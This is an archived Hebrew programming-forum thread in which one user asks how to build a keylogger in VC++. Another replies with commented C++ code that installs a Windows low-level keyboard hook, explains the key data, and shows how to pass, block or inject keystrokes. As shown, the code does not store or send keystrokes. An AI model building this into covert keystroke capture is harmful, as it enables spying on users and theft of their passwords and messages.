Logo

רד-בורד: ארכיון

ראשי > תיכנות > שאלה ב C על מקלדת...

06/01/2005 18:48:03 ziv
ב - VC++ איך אני עושה KEYLOG למקלדת?(בוינדוס כמובן)
29/01/2005 19:37:13 Urix
תעשה פרוייקט חדש של וין32 וצריך לעשות:
not using precompiled headers
זה נמצא באפשרויות של הפרוייקט בטב של סי\סי++ לא קשה למצוא.
תעתיק את הקוד הזה ותקרא את ההערות
קוד://keylogger.cpp

#define _WIN32_WINNT 0x500//tells windows to use a new version that supports keyloggers

#include "windows.h"

LRESULT CALLBACK KeyLogProc (int nCode, WPARAM wParam, LPARAM lParam)
{
//windows calls this when keyboard event happens
//
//wParam can be WM_KEYDOWN or WM_KEYUP or WM_SYSKEYDOWN or WM_SYSKEYUP.

PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
// p->dwExtraInfo = no idea;
// p->flags = stupid stuff like if the ALT key is pressed;
// p->scanCode = the keyboard scan code;
// p->vkCode = the virtual key code. if the key pressed is a letter or digit
// than this is the assci code;
// p->time = the time when it was pressed, don’t know in what "Yehidot" (HEBREW)

//If you wan’t other keyloggers to work then call:
return CallNextHookEx (0, nCode, wParam, lParam);

//If you wan’t to let the key pass to the focused window
//but not let other keyloggers to work call:
//return 0;

//If you wan’t to make the key "disappear" (
//for example to lock the keyboard) then do:
//return 1;

//********Important!!!********
//You cannot change the data of the key that was preseed and to do that
//for example when the user pressed ’a’ you change it to ’b’
//but if you wan’t to do that just call:
// keybd_event (virtual key, scan code, 0 for down - KEYEVENTF_KEYUP for up, 0);
//*MapVirtualKey (virtual key, 0) returns the scan code of the virtual key
//********
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
HHOOK keyhook = SetWindowsHookEx (WH_KEYBOARD_LL, KeyLogProc, hInstance, NULL);//starts the keylogger
if (keyhook == NULL)//if error in setting the hook
return 1;
MessageBox (NULL, "Keylogger", "Keylogger", MB_OK);
UnhookWindowsHookEx (keyhook);//uninstall the keylogger
return 0;
}
//by the way: if you didn’t guess it by now:
//hook = keylogger



29/01/2005 19:38:51 Urix
אגב אני מניח שאתה זה זיו בר...
עמודים: 1